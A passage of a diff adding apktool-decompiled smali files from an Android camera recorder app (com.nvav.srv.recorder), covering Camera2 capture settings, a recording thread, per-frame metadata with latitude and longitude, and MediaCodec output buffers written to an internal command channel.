sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_REGIONS:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->cafr:[Landroid/hardware/camera2/params/MeteringRectangle;
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 182
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->ss:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 183
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->sfd:Ljava/lang/Long;
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 184
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->set:Ljava/lang/Long;
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 185
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->cafm:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 186
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->caem:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 187
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_TRIGGER:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->caft:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 188
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraASUS;->access$300(Lcom/nvav/srv/recorder/CameraASUS;)V
|
||||
|
||||
.line 191
|
||||
:cond_1
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
new-instance v0, Lcom/nvav/srv/recorder/CameraASUS$2$1;
|
||||
|
||||
invoke-direct {v0, p0}, Lcom/nvav/srv/recorder/CameraASUS$2$1;-><init>(Lcom/nvav/srv/recorder/CameraASUS$2;)V
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingThread:Ljava/lang/Thread;
|
||||
|
||||
.line 273
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingThread:Ljava/lang/Thread;
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/Thread;->start()V
|
||||
|
||||
.line 275
|
||||
sget-boolean p1, Lcom/nvav/srv/recorder/CameraASUS;->Restarting:Z
|
||||
:try_end_0
|
||||
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_1
|
||||
|
||||
if-eqz p1, :cond_2
|
||||
|
||||
const-wide/16 v0, 0xfa
|
||||
|
||||
.line 277
|
||||
:try_start_1
|
||||
invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
|
||||
:try_end_1
|
||||
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_0
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:catch_0
|
||||
move-exception p1
|
||||
|
||||
.line 279
|
||||
:try_start_2
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 281
|
||||
:goto_1
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->cafm:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 282
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUS;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraASUS;->lfd:F
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Float;->valueOf(F)Ljava/lang/Float;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
const/4 p1, 0x0
|
||||
|
||||
.line 283
|
||||
sput-boolean p1, Lcom/nvav/srv/recorder/CameraASUS;->Restarting:Z
|
||||
|
||||
.line 284
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraASUS;->access$300(Lcom/nvav/srv/recorder/CameraASUS;)V
|
||||
:try_end_2
|
||||
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_1
|
||||
|
||||
goto :goto_2
|
||||
|
||||
:catch_1
|
||||
move-exception p1
|
||||
|
||||
.line 287
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUS$2;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:cond_2
|
||||
:goto_2
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onReady(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 2
|
||||
|
||||
.line 316
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v0
|
||||
|
||||
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
filled-new-array {p1}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "time %d"
|
||||
|
||||
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "CameraCaptureSession re"
|
||||
|
||||
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,229 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraASUS$3;
|
||||
.super Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;
|
||||
.source "CameraASUS.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/CameraASUS;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field FrameNumber:J
|
||||
|
||||
.field lat:D
|
||||
|
||||
.field lon:D
|
||||
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
.field time_out_param:J
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraASUS;)V
|
||||
.locals 2
|
||||
|
||||
.line 323
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;-><init>()V
|
||||
|
||||
.line 324
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v0
|
||||
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->time_out_param:J
|
||||
|
||||
const-wide/16 v0, 0x0
|
||||
|
||||
.line 325
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->lat:D
|
||||
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->lon:D
|
||||
|
||||
const-wide/16 v0, 0x0
|
||||
|
||||
.line 326
|
||||
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->FrameNumber:J
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onCaptureCompleted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/TotalCaptureResult;)V
|
||||
.locals 7
|
||||
|
||||
.line 347
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide p1
|
||||
|
||||
iget-wide v0, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->time_out_param:J
|
||||
|
||||
sub-long/2addr p1, v0
|
||||
|
||||
const-wide/16 v0, 0xc8
|
||||
|
||||
cmp-long p1, p1, v0
|
||||
|
||||
if-lez p1, :cond_0
|
||||
|
||||
.line 348
|
||||
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->lat:D
|
||||
|
||||
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->lon:D
|
||||
|
||||
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 349
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
check-cast p1, Ljava/lang/Long;
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/Long;->longValue()J
|
||||
|
||||
move-result-wide p1
|
||||
|
||||
const-wide/32 v3, 0x3b9aca00
|
||||
|
||||
div-long/2addr v3, p1
|
||||
|
||||
invoke-static {v3, v4}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_APERTURE:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 350
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 351
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v5
|
||||
|
||||
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureResult$Key;
|
||||
|
||||
.line 352
|
||||
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
|
||||
|
||||
move-result-object v6
|
||||
|
||||
filled-new-array/range {v0 .. v6}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 348
|
||||
const-string p2, "%f;%f;%d;%d;%.2f;%f;%d"
|
||||
|
||||
invoke-static {p2, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
.line 353
|
||||
iget-object p2, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->this$0:Lcom/nvav/srv/recorder/CameraASUS;
|
||||
|
||||
iget-object p2, p2, Lcom/nvav/srv/recorder/CameraASUS;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/String;->length()I
|
||||
|
||||
move-result p3
|
||||
|
||||
add-int/lit8 p3, p3, 0x1
|
||||
|
||||
invoke-static {p3}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p3
|
||||
|
||||
const/16 v0, 0x4d
|
||||
|
||||
invoke-virtual {p3, v0}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p3
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p3, p1}, Ljava/nio/ByteBuffer;->put([B)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p1}, Ljava/nio/ByteBuffer;->array()[B
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p2, p1}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
|
||||
|
||||
.line 354
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide p1
|
||||
|
||||
iput-wide p1, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->time_out_param:J
|
||||
|
||||
:cond_0
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureFailed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureFailure;)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureProgressed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureResult;)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureSequenceAborted(Landroid/hardware/camera2/CameraCaptureSession;I)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureSequenceCompleted(Landroid/hardware/camera2/CameraCaptureSession;IJ)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onCaptureStarted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;JJ)V
|
||||
.locals 0
|
||||
|
||||
.line 429
|
||||
iput-wide p5, p0, Lcom/nvav/srv/recorder/CameraASUS$3;->FrameNumber:J
|
||||
|
||||
return-void
|
||||
.end method
|
||||
3484
apk_3234/apktool_output/smali/com/nvav/srv/recorder/CameraASUS.smali
Normal file
3484
apk_3234/apktool_output/smali/com/nvav/srv/recorder/CameraASUS.smali
Normal file
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,40 @@
|
||||
.class public final synthetic Lcom/nvav/srv/recorder/CameraASUSn$$ExternalSyntheticLambda0;
|
||||
.super Ljava/lang/Object;
|
||||
.source "D8$$SyntheticClass"
|
||||
|
||||
# interfaces
|
||||
.implements Ljava/util/function/Predicate;
|
||||
|
||||
|
||||
# instance fields
|
||||
.field public final synthetic f$0:Ljava/lang/String;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method public synthetic constructor <init>(Ljava/lang/String;)V
|
||||
.locals 0
|
||||
|
||||
.line 0
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$$ExternalSyntheticLambda0;->f$0:Ljava/lang/String;
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public final test(Ljava/lang/Object;)Z
|
||||
.locals 1
|
||||
|
||||
.line 0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$$ExternalSyntheticLambda0;->f$0:Ljava/lang/String;
|
||||
|
||||
check-cast p1, Ljava/lang/String;
|
||||
|
||||
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraASUSn;->$r8$lambda$7lpm9zkoZuDoAjfOA0iYE2U94XQ(Ljava/lang/String;Ljava/lang/Object;)Z
|
||||
|
||||
move-result p1
|
||||
|
||||
return p1
|
||||
.end method
|
||||
@@ -0,0 +1,488 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraASUSn$1;
|
||||
.super Landroid/media/MediaCodec$Callback;
|
||||
.source "CameraASUSn.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraASUSn;)V
|
||||
.locals 0
|
||||
|
||||
.line 70
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
invoke-direct {p0}, Landroid/media/MediaCodec$Callback;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onError(Landroid/media/MediaCodec;Landroid/media/MediaCodec$CodecException;)V
|
||||
.locals 0
|
||||
|
||||
.line 148
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const-string p2, "result=MediaCodecf onError."
|
||||
|
||||
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onInputBufferAvailable(Landroid/media/MediaCodec;I)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onOutputBufferAvailable(Landroid/media/MediaCodec;ILandroid/media/MediaCodec$BufferInfo;)V
|
||||
.locals 9
|
||||
|
||||
const/4 p1, 0x1
|
||||
|
||||
.line 79
|
||||
:try_start_0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraASUSn;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {v0, p2}, Landroid/media/MediaCodec;->getOutputBuffer(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
if-eqz v0, :cond_3
|
||||
|
||||
.line 81
|
||||
iget v1, p3, Landroid/media/MediaCodec$BufferInfo;->size:I
|
||||
|
||||
if-eqz v1, :cond_3
|
||||
|
||||
.line 82
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget v2, v1, Lcom/nvav/srv/recorder/CameraASUSn;->outbyte:I
|
||||
|
||||
iget v3, p3, Landroid/media/MediaCodec$BufferInfo;->size:I
|
||||
|
||||
add-int/2addr v2, v3
|
||||
|
||||
iput v2, v1, Lcom/nvav/srv/recorder/CameraASUSn;->outbyte:I
|
||||
|
||||
.line 83
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-short v2, v1, Lcom/nvav/srv/recorder/CameraASUSn;->outFPS:S
|
||||
|
||||
add-int/2addr v2, p1
|
||||
|
||||
int-to-short v2, v2
|
||||
|
||||
iput-short v2, v1, Lcom/nvav/srv/recorder/CameraASUSn;->outFPS:S
|
||||
|
||||
.line 84
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v1
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-wide v3, v3, Lcom/nvav/srv/recorder/CameraASUSn;->timebyte:J
|
||||
|
||||
sub-long/2addr v1, v3
|
||||
|
||||
const-wide/16 v3, 0x3e8
|
||||
|
||||
cmp-long v1, v1, v3
|
||||
|
||||
const/16 v2, 0x8
|
||||
|
||||
const/4 v3, 0x0
|
||||
|
||||
if-lez v1, :cond_0
|
||||
|
||||
.line 85
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraASUSn;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
const/16 v4, 0xb
|
||||
|
||||
invoke-static {v4}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
invoke-virtual {v4, v2}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
iget-object v5, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget-short v5, v5, Lcom/nvav/srv/recorder/CameraASUSn;->outFPS:S
|
||||
|
||||
invoke-virtual {v4, v5}, Ljava/nio/ByteBuffer;->putShort(S)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
iget-object v5, p0, Lcom/nvav/srv/recorder/CameraASUSn$1;->this$0:Lcom/nvav/srv/recorder/CameraASUSn;
|
||||
|
||||
iget v5, v5, Lcom/nvav/srv/recorder/CameraASUSn;->outbyte:I
|
||||
|
||||
invoke-virtual {v4, v5}, Ljava/nio/ByteBuffer;->putInt(I)Ljava/nio/ByteBuffer;
|
||||
|
||||
move-result-object v4
|
||||
|
||||
